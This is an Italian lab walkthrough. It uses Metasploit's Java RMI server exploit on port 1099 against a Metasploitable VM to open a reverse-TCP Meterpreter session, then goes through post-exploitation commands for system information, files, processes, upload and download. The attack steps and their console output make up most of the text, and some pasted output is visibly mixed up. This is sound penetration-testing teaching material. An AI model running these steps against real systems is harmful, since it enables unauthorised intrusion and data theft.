

L'indirizzo IP della macchina attaccante (**Kali Linux**) è 192.168.11.111

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::5136:18bd:3af0:768d prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:21:b1:d0 txqueuelen 1000 (Ethernet)
    RX packets 63 bytes 5232 (5.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 22 bytes 2766 (2.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

L'indirizzo IP della macchina vittima (**Metasploitable**) è 192.168.11.112

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:1b:c2:1a
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe1b:c21a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:21 errors:0 dropped:0 overruns:0 frame:0
          TX packets:70 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1440 (1.4 KB) TX bytes:5280 (5.1 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

Vogliamo sfruttare con **Metasploit** la vulnerabilità sulla porta 1099 TCP di Metasploitable (al fine di ottenere una sessione **Meterpreter** remota) dove è attivo il servizio **Java RMI**, una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete. La vulnerabilità in questione è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target.

Innanzitutto verifichiamo che effettivamente il servizio sia attivo con una scansione **nmap** (vediamo che sulla porta 1099 TCP è in esecuzione il servizio java-rmi).

```
(kali@kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 09:50 CET
Nmap scan report for 192.168.11.112
Host is up (0.00062s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rshcd
513/tcp   open  login?         netkit-rsh rlogind
514/tcp   open  shell          Netkit rshd
1099/tcp   open  java-rmi       GNU Classpath grmiregistry
2049/tcp   open  nfs            2-4 (RPC #100003)
2121/tcp   open  ftp           ProFTPD 1.3.1
3306/tcp   open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp   open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp   open  vnc            VNC (protocol 3.3)
6000/tcp   open  X11            (access denied)
6667/tcp   open  irc            UnrealIRCd
8009/tcp   open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp   open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Di seguito i passaggi (con configurazione dei **parametri**) per l'utilizzo dell'exploit tramite l'uso della console di Metasploit (**msfconsole**).

```
msf6 > search java_rmi
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

```
msf6 > use exploit/multi/misc/java_rmi_server
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
```

```
RHOSTS => 192.168.11.112
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.11.112	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/nGPqPVb5b
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:40207) at 2024-03-08 09:54:23 +0100

meterpreter > █
```

Abbiamo ottenuto una sessione Meterpreter sulla macchina target, come dimostra l'utilizzo del comando **ifconfig** che restituisce la **configurazione di rete** di Metasploitable.

```
meterpreter > ifconfig (1 host up) scanned in 0.0000000s

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe1b:c21a
IPv6 Netmask : ::
```

Possiamo inoltre ottenere anche informazioni sulla **tabella di routing** della macchina vittima con il comando **route**.

```
meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric  Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0
192.168.11.112 255.255.255.0 0.0.0.0      0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric  Interface
-----
::1         ::           ::           0
fe80::a00:27ff:fe1b:c21a ::           ::           0
```

Meterpreter è una shell molto potente che gira su applicazioni e servizi vulnerabili di diverse tecnologie e sistemi operativi come Android, Java, Linux, Windows e molte altre. Fornisce molte funzionalità utili che aiutano un penetration tester ad infiltrarsi in maniera non autorizzata all'interno di un sistema target. Le funzionalità avanzate di Meterpreter consentono movimenti laterali per entrare sempre più nei sistemi, fino ad ottenere accesso completo all'obiettivo.

Il **payload** Meterpreter presenta due principali metodologie per restituire all'attaccante una shell avanzata sul sistema target: **bind_tcp**: in questa modalità si inietta un processo sulla macchina obiettivo. Questo processo si metterà in ascolto su una determinata porta, attendendo connessioni dall'esterno. In questa modalità il servizio di shell è attivo sulla macchina attaccante e la connessione avviene dalla macchina dell'attaccante alla macchina target; **reverse_tcp**: in questa modalità si inietta un processo sulla macchina obiettivo, che questa volta effettuerà dalla macchina target una connessione verso la macchina dell'attaccante mettendo a disposizione una shell.

La differenza con il bind_tcp è che nel reverse_tcp è la macchina target che inizia la connessione verso la macchina dell'attaccante (permettendo quindi di **eludere** eventuali regole di **blocco firewall** per le connessioni in entrata).

Per il nostro exploit abbiamo utilizzato il **payload** settato di default meterpreter reverse_tcp; controlliamo che effettivamente la connessione sia stata stabilita a partire dalla macchina target verso la macchina attaccante analizzando i pacchetti di impostazione della connessione TCP (**three-way handshake**) con **Wireshark**.

41	14.069013274	192.168.11.112	192.168.11.111	TCP	76 47451 → 4444	[SYN] Seq=0 Win=5840 Len=0 MSS=1460
42	14.069041583	192.168.11.111	192.168.11.112	TCP	76 4444 → 47451	[SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0
43	14.069388369	192.168.11.112	192.168.11.111	TCP	68 47451 → 4444	[ACK] Seq=1 Ack=1 Win=5888 Len=0
44	14.075391152	192.168.11.111	192.168.11.112	TCP	2964 4444 → 47451	[PSH, ACK] Seq=1 Ack=1 Win=65280 Len=0
45	14.075416789	192.168.11.111	192.168.11.112	TCP	2964 4444 → 47451	[PSH, ACK] Seq=2897 Ack=1 Win=65280 Len=0
46	14.075767967	192.168.11.112	192.168.11.111	TCP	68 47451 → 4444	[ACK] Seq=1 Ack=1449 Win=8832 Len=0
47	14.075768108	192.168.11.112	192.168.11.111	TCP	68 47451 → 4444	[ACK] Seq=1 Ack=2897 Win=11648 Len=0
48	14.075768141	192.168.11.112	192.168.11.111	TCP	68 47451 → 4444	[ACK] Seq=1 Ack=4345 Win=14592 Len=0
49	14.075768174	192.168.11.112	192.168.11.111	TCP	68 47451 → 4444	[ACK] Seq=1 Ack=5793 Win=17536 Len=0
50	14.075782440	192.168.11.111	192.168.11.112	TCP	2964 4444 → 47451	[PSH, ACK] Seq=5793 Ack=1 Win=65280 Len=0
51	14.075797069	192.168.11.111	192.168.11.112	TCP	2964 4444 → 47451	[PSH, ACK] Seq=8689 Ack=1 Win=65280 Len=0
52	14.075802831	192.168.11.111	192.168.11.112	TCP	2964 4444 → 47451	[PSH, ACK] Seq=11585 Ack=1 Win=65280 Len=0

```
(kali㉿kali)-[~]
$ netstat -antp | grep 4444
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 192.168.11.111:4444    192.168.11.112:47451  ESTABLISHED 12948/ruby
```

La macchina target ha **impostato** una connessione TCP con la macchina attaccante sulla porta 4444 (come specificato dal parametro **LPORT** dell'exploit su msfconsole).

Vi sono numerosi altri **comandi** mediante i quali Meterpreter permette di fare **information gathering** sulla macchina exploitata e sulla rete alla quale è connessa.

Sysinfo ci permette di recuperare informazioni come nome, sistema operativo, architettura e lingua di sistema.

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```


La shell di Meterpreter ci permette di navigare il file system e vedere i processi in esecuzione con gli stessi comandi per la shell Linux, quali **cd**, **pwd**, **ls**, **ps** e così via.

```
meterpreter > pwd
/
meterpreter > ls
Listing: /
Mode                Size           Type    Last modified          Name
-----
040666/rw-rw-rw-   4096         dir     2012-05-14 05:35:33 +0200 bin
040666/rw-rw-rw-   1024         dir     2012-05-14 05:36:28 +0200 boot
040666/rw-rw-rw-   4096         dir     2010-03-16 23:55:51 +0100 cdrom
040666/rw-rw-rw-  13540         dir     2024-03-08 09:24:59 +0100 dev
040666/rw-rw-rw-   4096         dir     2024-03-08 09:25:05 +0100 etc
040666/rw-rw-rw-   4096         dir     2010-04-16 08:16:02 +0200 home
040666/rw-rw-rw-   4096         dir     2010-03-16 23:57:40 +0100 initrd
100666/rw-rw-rw-  7929183       fil     2012-05-14 05:35:56 +0200 initrd.img
040666/rw-rw-rw-   4096         dir     2012-05-14 05:35:22 +0200 lib
040666/rw-rw-rw-  16384         dir     2010-03-16 23:55:15 +0100 lost+found
040666/rw-rw-rw-   4096         dir     2010-03-16 23:55:52 +0100 media
040666/rw-rw-rw-   4096         dir     2010-04-28 22:16:56 +0200 mnt
100666/rw-rw-rw-  37545       fil     2024-03-08 09:25:27 +0100 nohup.out
040666/rw-rw-rw-   4096         dir     2010-03-16 23:57:39 +0100 opt
040666/rw-rw-rw-    0         dir     2024-03-08 09:24:44 +0100 proc
040666/rw-rw-rw-   4096         dir     2024-03-08 09:25:27 +0100 root
040666/rw-rw-rw-   4096         dir     2012-05-14 03:54:53 +0200/sbin
040666/rw-rw-rw-   4096         dir     2010-03-16 23:57:38 +0100 srv
040666/rw-rw-rw-    0         dir     2024-03-08 09:24:45 +0100 sys
040666/rw-rw-rw-   4096         dir     2024-03-04 10:46:22 +0100 test_metasploit
040666/rw-rw-rw-   4096         dir     2024-03-08 09:54:14 +0100 tmp
040666/rw-rw-rw-   4096         dir     2010-04-28 06:06:37 +0200 usr
040666/rw-rw-rw-   4096         dir     2010-03-17 15:08:23 +0100 var
100666/rw-rw-rw- 1987288       fil     2008-04-10 18:55:41 +0200 vmlinuz
```

```
meterpreter > ps
Process List
PID      Name
-----
1        /sbin/init
2        [kthreadd]
3        [migration/0]
4        [ksoftirqd/0]
5        [watchdog/0]
6        [events/0]
7        [khelper]
41       [kblockd/0]
44       [kacpid]
45       [kacpi_notify]
91       [kseriod]
130      [pdflush]
131      [pdflush]
132      [kswapd0]
174      [aio/0]
1130     [ksnapd]
1310     [ata/0]
1311     [ata_aux]
1320     [scsi_ah_0]
1324     [scsi_ah_1]
1343     [ksuspend_usbd]
1346     [khubb]
2078     [scsi_ah_2]
2226     [kjournald]
2380     /sbin/udevd
2659     [kpsmouse]
3557     [kjournald]
3687     /sbin/portmap
3703     /sbin/rpc.statd
3932     /sbin/getty
3934     /sbin/getty
```

È anche possibile scaricare e caricare file nella macchina target con i comandi **download** ed **upload**.

```
meterpreter > upload                                     Apache Tomcat/Coyote JSP engine 1.1
Usage: upload [options] src1 src2 src3 ... destination

Uploads local files and directories to the remote machine.
Nmap done: 1 IP address (1 host up) scanned in 52.86 seconds
OPTIONS:
  -h  Help banner
  -r  Upload recursively

meterpreter > download
Usage: download [options] src1 src2 src3 ... destination

Downloads remote files and directories to the local machine.

OPTIONS:
  -a  Enable adaptive download buffer size
  -b  Set the initial block size for the download
  -c  Resume getting a partially-downloaded file
  -h  Help banner
  -l  Set the limit of retries (0 unlimited)
  -r  Download recursively
  -t  Timestamp downloaded files
```

Per ottenere la **lista completa** dei comandi Meterpreter disponibili divisi per categoria basta digitare **?**.

Dalla sua esecuzione vediamo come sono anche presenti dei comandi che permettono di registrare gli **input utente** da mouse e tastiera, effettuare **screenshot**, visualizzare in **tempo reale il desktop remoto** e utilizzare **microfoni e videocamere** della macchina target.

```
Stdapi: User interface Commands
=====
Command      Description
-----
keyevent      Send key events
mouseclick    Send mouse events
screenshot    Watch the remote user desktop in real time
screenshot    Grab a screenshot of the interactive desktop

Stdapi: Webcam Commands
=====
Command      Description
-----
record_mic    Record audio from the default microphone for X seconds

Stdapi: Audio Output Commands
=====
Command      Description
-----
play          play a waveform audio file (.wav) on the target system
```

Concludendo, si può quindi affermare che Meterpreter è davvero uno strumento molto potente; una volta eseguito con successo sulla macchina target da parte di un attaccante gli permette di avere **controllo totale del sistema** e di poter quindi causare molti danni.